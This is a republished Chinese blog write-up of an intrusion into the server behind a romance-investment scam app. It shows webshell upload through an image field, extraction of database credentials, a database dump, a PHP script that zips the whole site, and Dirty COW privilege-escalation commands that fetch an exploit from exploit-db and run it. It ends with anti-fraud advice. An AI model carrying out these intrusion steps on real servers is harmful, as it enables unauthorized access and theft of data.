记一次APP的渗透之旅

admin 2022年1月3日02:01:50移动安全评论33 views9411字阅读31分22秒阅读模式

原文地址:https://www.freebuf.com/articles/network/312187.html
作者:特mac0x01

所谓“杀猪盘”,是指诈骗分子利用网络交友通常是异性交友,诱导受害人下载诈骗APP并在上面进行各种“投资”,如博彩、股票、期货甚至虚拟货币的网络诈骗。今年某月某日小白就遭遇了这种骗局,他先是被骗子通过QQ添加并下载了一个名为”心动“的APP,在“心动“APP上结识了位名为“xx老师”的美女,小白被美色迷了眼打算相约这名网友,但是美女则借口让他下载另一个名为午夜乐园的APP进行投资,果不其然小白被成功骗取10余万。

0x01 APP测试准备

根据小白的描述,我们关注到以下几点信息,分别是 QQ、“心动”APP以及“午夜乐园”APP,但是小白因不堪被骗将骗子QQ删除了。所以我们无法从QQ号这点进行入手,但是这两个APP的APK包倒是存在,于是开始渗透分析。

安装APP

使用夜神模拟器安装这两个APP,为了方便起见就使用安卓5.0版本,否则无法抓取到 https 数据包

小知识:从 Android 7.0 开始,默认的网络安全性配置修改,默认不再信任用户添加的 CA 证书,也就不再信任抓包工具的证书

记一次APP的渗透之旅因为“午夜乐园”APP需要邀请码才能注册,所以我们先安装“心动”APP记一次APP的渗透之旅

设置抓包

在 BurpSuite 中设置监听地址以及监听端口,其中地址为内网的IP地址记一次APP的渗透之旅设置网络中的 HTTP 代理为 BurpSuite 中的代理地址和端口记一次APP的渗透之旅访问百度,在 Burp Suite 中成功抓取到数据包记一次APP的渗透之旅现在针对 http 协议的数据包都可以抓取到了

安装证书

接下来为了抓取到 https 的数据包,我们需要为其安装 CA 证书记一次APP的渗透之旅访问https://burp点击CA开始下载证书,下载完成后在设置中找到安全记一次APP的渗透之旅选择从SD卡安装记一次APP的渗透之旅选择之前下载的证书并为证书命名记一次APP的渗透之旅用户凭据中已存在证书记一次APP的渗透之旅访问https://www.baidu.com记一次APP的渗透之旅在 Burp Suite 中成功抓取到 https 数据包记一次APP的渗透之旅

0x02 上线shell

初探上传漏洞

在APP中注册一个测试账号记一次APP的渗透之旅发现在发布动态处存在文件上传记一次APP的渗透之旅使用 Burp Suite 截取数据包,测试后发现目标站点只返回0或1记一次APP的渗透之旅上传后在朋友圈界面发现该功能正常,那么对应的图片路径在哪呢?记一次APP的渗透之旅通过抓包发现该图片的具体地址记一次APP的渗透之旅修改数据包将其文件名后缀修改为php时则无法上传,可能存在防护机制记一次APP的渗透之旅

文件上传漏洞获取webshell

尝试了几种绕过方式无果后,在朋友圈背景图片发现文件上传点,将冰蝎上传记一次APP的渗透之旅幸运的是目标直接返回了木马地址,使用冰蝎连接目标

记一次APP的渗透之旅

至此 webshell 成功上线,但可惜的是这是 docker 环境。同时为了维持对目标站点的控制,继续上传了一个哥斯拉马

记一次APP的渗透之旅

0x03 信息收集

查看当前环境

查看当前用户为普通的 www 用户,能够执行一些简单的命令

记一次APP的渗透之旅

查看文件管理,发现网站下存在 thinkphp 框架,开始寻找配置文件

记一次APP的渗透之旅

数据库登录

在配置文件中发现数据库连接文件

return [
    // 数据库类型
    'type'            => Env::get('database.type''mysql'),
    // 服务器地址
    'hostname'        => Env::get('database.hostname''192.168.0.59'),
    // 数据库名
    'database'        => Env::get('database.database''netchat'),
    // 用户名
    'username'        => Env::get('database.username''root'),
    // 密码
    'password'        => Env::get('database.password''MysqlNetchatPWD#'),
    // 端口
    'hostport'        => Env::get('database.hostport''3305'),
];

由于无法通过冰蝎无法连接数据库,我们上传 adminer 连接数据库,将服务器地址设置为192.168.0.59:3305,输入账号和密码

记一次APP的渗透之旅

在 adminer 中选择数据库导出,将当前数据库直接打包下载

记一次APP的渗透之旅

后台地址与账号密码

在数据库中还有些意外收获,里面包含了一些管理员的账号密码

记一次APP的渗透之旅

经过解密后发现 admin666 密码为123456

记一次APP的渗透之旅

查看 admin_log 表后发现登录地址为https://xx.xx.xx.xx/adim888/index/login

记一次APP的渗透之旅

访问后为如下界面,我们只需要输入账号密码与谷歌验证码即可登录,为了不打草惊蛇未直接登录后台。

记一次APP的渗透之旅

打包网站

接下来为了方便分析,使用如下脚本打包整个网站进行下载

<?php
 
error_reporting(0);
 
class PHPZip{
    var $dirInfo = array("0","0");
    var $datasec = array();
    var $ctrl_dir = array();
    var $eof_ctrl_dir = "x50x4bx05x06x00x00x00x00";
    var $old_offset   = 0;
 
    function createZip($dir, $zipfilename){
        if (@function_exists('gzcompress')){
            @set_time_limit("0");
            if (is_array($dir)){
                $fd = fopen ($dir, "r");
                $fileValue = fread ($fd, filesize ($filename));
                fclose ($fd);
                if (is_array($dir)) $filename = basename($dir);
                $this -> addFile($fileValue, "$filename");
            }else{
                $this->dirTree($dir,$dir);
            }
 
            $out = $this -> filezip();
            $fp = fopen($zipfilename, "w");
            fwrite($fp, $out, strlen($out));
            fclose($fp);
            $filesize = filesize($zipfilename);
 
            if ($filesize < 104857600) {
                echo "create zip success!";
            } else {
                echo "create zip error!";
            }        }
     }
 
    //get dir tree..
    function dirTree($directory,$rootDir){
        $fileDir = $rootDir;
        $myDir = dir($directory);
        while($file=$myDir->read()){
            if(is_dir("$directory/$file"and $file!="." and $file!=".."){
                $this->dirInfo[0]++;
                $rootDir ="$fileDir$file/";
                $this -> addFile(''"$rootDir");
 
                //go on n's folders
                $this->dirTree("$directory/$file",$rootDir);
            }else{
                if($file!="." and $file!=".."){
                    $this->dirInfo[1]++;
                    $fileValue = file_get_contents("$directory/$file");
                    $this -> addFile($fileValue, "$fileDir$file");
                }
            }
        }
        $myDir->close();
    }
 
    function unix2DosTime($unixtime = 0) {
        $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
 
        if ($timearray['year'] < 1980) {
             $timearray['year'] = 1980;
             $timearray['mon'] = 1;
             $timearray['mday'] = 1;
             $timearray['hours'] = 0;
             $timearray['minutes'] = 0;
             $timearray['seconds'] = 0;
        } // end if
 
        return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
                ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    }
 
    function addFile($data, $name, $time = 0){
        $name = str_replace('\''/', $name);
 
        $dtime = dechex($this->unix2DosTime($time));
        $hexdtime = 'x' . $dtime[6] . $dtime[7]
                  . 'x' . $dtime[4] . $dtime[5]
                  . 'x' . $dtime[2] . $dtime[3]
                  . 'x' . $dtime[0] . $dtime[1];
        eval('$hexdtime = "' . $hexdtime . '";');
 
        $fr = "x50x4bx03x04";
        $fr .= "x14x00";            // ver needed to extract
        $fr .= "x00x00";            // gen purpose bit flag
        $fr .= "x08x00";            // compression method
        $fr .= $hexdtime;             // last mod time and date
 
        // "local file header" segment
        $unc_len = strlen($data);
        $crc = crc32($data);
        $zdata = gzcompress($data);
        $c_len = strlen($zdata);
        $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); // fix crc bug
        $fr .= pack('V', $crc);             // crc32
        $fr .= pack('V', $c_len);           // compressed filesize
        $fr .= pack('V', $unc_len);         // uncompressed filesize
        $fr .= pack('v', strlen($name));    // length of filename
        $fr .= pack('v'0);                // extra field length
        $fr .= $name;
 
        // "file data" segment
        $fr .= $zdata;
 
        // "data descriptor" segment (optional but necessary if archive is not
        // served as file)
        $fr .= pack('V', $crc);                 // crc32
        $fr .= pack('V', $c_len);               // compressed filesize
        $fr .= pack('V', $unc_len);             // uncompressed filesize
 
        // add this entry to array
        $this -> datasec[] = $fr;
        $new_offset        = strlen(implode(''$this->datasec));
 
        // now add to central directory record
        $cdrec = "x50x4bx01x02";
        $cdrec .= "x00x00";                // version made by
        $cdrec .= "x14x00";                // version needed to extract
        $cdrec .= "x00x00";                // gen purpose bit flag
        $cdrec .= "x08x00";                // compression method
        $cdrec .= $hexdtime;                 // last mod time & date
        $cdrec .= pack('V', $crc);           // crc32
        $cdrec .= pack('V', $c_len);         // compressed filesize
        $cdrec .= pack('V', $unc_len);       // uncompressed filesize
        $cdrec .= pack('v', strlen($name) ); // length of filename
        $cdrec .= pack('v'0 );             // extra field length
        $cdrec .= pack('v'0 );             // file comment length
        $cdrec .= pack('v'0 );             // disk number start
        $cdrec .= pack('v'0 );             // internal file attributes
        $cdrec .= pack('V'32 );            // external file attributes - 'archive' bit set
 
        $cdrec .= pack('V'$this -> old_offset ); // relative offset of local header
        $this -> old_offset = $new_offset;
 
        $cdrec .= $name;
 
        // optional extra field, file comment goes here
        // save to central directory
        $this -> ctrl_dir[] = $cdrec;
    }
 
    function filezip(){
        $data = implode(''$this -> datasec);
        $ctrldir = implode(''$this -> ctrl_dir);
 
        return
            $data .
            $ctrldir .
            $this -> eof_ctrl_dir .
            pack('v', sizeof($this -> ctrl_dir)) .  // total # of entries "on this disk"
            pack('v', sizeof($this -> ctrl_dir)) .  // total # of entries overall
            pack('V', strlen($ctrldir)) .           // size of central dir
            pack('V', strlen($data)) .              // offset to start of central dir
            "x00x00";                             // .zip file comment length
    }
}
 
$zip = new PHPZip(); 
$path = $_GET['path'];
$filename = $_GET['filename'];
if (isset($path)&&isset($filename)) {
    $zip -> createZip($path, $filename);
else {
    echo "please input correct path and filename, like <a href=#>http://example.com?path=/home&filename=home.zip</a>";
}
 
?>

IP地址查询

通过简单的sql语句对 admin 登录日志进行查询

select distinct ip from yl_admin_log limit 50


记一次APP的渗透之旅

发现该站点的登录IP都是国外的IP,猜测网站管理员都是通过代理或本身就在国外访问的后台

记一次APP的渗透之旅

而查询 yl_core_ip 表中发现了一个IP

记一次APP的渗透之旅

查询微步后,该IP已经被打上了恶意地址标签

记一次APP的渗透之旅


0x04 权限提升

由于当前权限比较低,我们也需要拿到 docker 环境下的 root 权限,但是我没有提权成功,自然也无法利用 docker 逃逸来跳到其真实环境下。这里演示下我使用脏牛提权的失败记录吧。

系统信息收集

uname -a
cat /etc/issue


记一次APP的渗透之旅

当前系统为 Debian GNU/Linux 10


漏洞查询

上传linuxenumlinux-exploit-suggestor,赋予执行权限并执行

chmod 777 linuxenum.sh
chmod 777 linux-exploit-suggestor.sh


记一次APP的渗透之旅

记一次APP的渗透之旅

脏牛提权

通过 linux-exploit-suggestor 返回的结果,其中存在脏牛漏洞

wget https://www.exploit-db.com/download/40616 ##这里我直接上传了
mv 40616 cowroot.c
## 正式从这开始
gcc cowroot.c -o cowroot -pthread
chmod +x cowroot
./cowroot

失败过程就不截图了

0x05 受骗分析及警示

登录客服查看聊天记录

在数据库中还有相关客服用户的账号密码,直接解码后面的 base64 编码就可以获取到明文

记一次APP的渗透之旅

登录几个客服用户进行查看

记一次APP的渗透之旅


杀猪盘流程

这里我们也根据小白的注册时间找到了它的账号,为q123456x

记一次APP的渗透之旅

通过注册IP确认该用户为受害人账号。但是尝试登录后发现该用户已经被锁定,在数据库中发现该用户的islogin为0,修改为1后还是无法登录,通过查看管理员的操作记录,发现其一直在封锁账号。

记一次APP的渗透之旅

再根据几个客服的聊天记录,我们总结了”杀猪盘“流程

1、招揽有“交友”目的的年轻人
2、通过客服为其提供“服务”
3、安排”漂亮姐姐“骗取年轻人投资
4、年轻人欲望上头开始投资
5、最终被骗人财两空

警示

1、警惕在朋友圈和私聊中呈现的完美对象,完美人设往往就是诱饵
2、切勿和陌生人谈钱、一起投资,记住,网上“对象”也是陌生人
3、切勿下载安装网上各类投资博彩 APP链接,不要在未验证网站投资
4、不向未验证的陌生账户转账汇款
5、不要参与网上博彩,涉嫌违法。
6、不要被欲望冲昏了头


原文始发于微信公众号(亿人安全):记一次APP的渗透之旅

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月3日02:01:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  记一次APP的渗透之旅 http://cn-sec.com/archives/716280.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: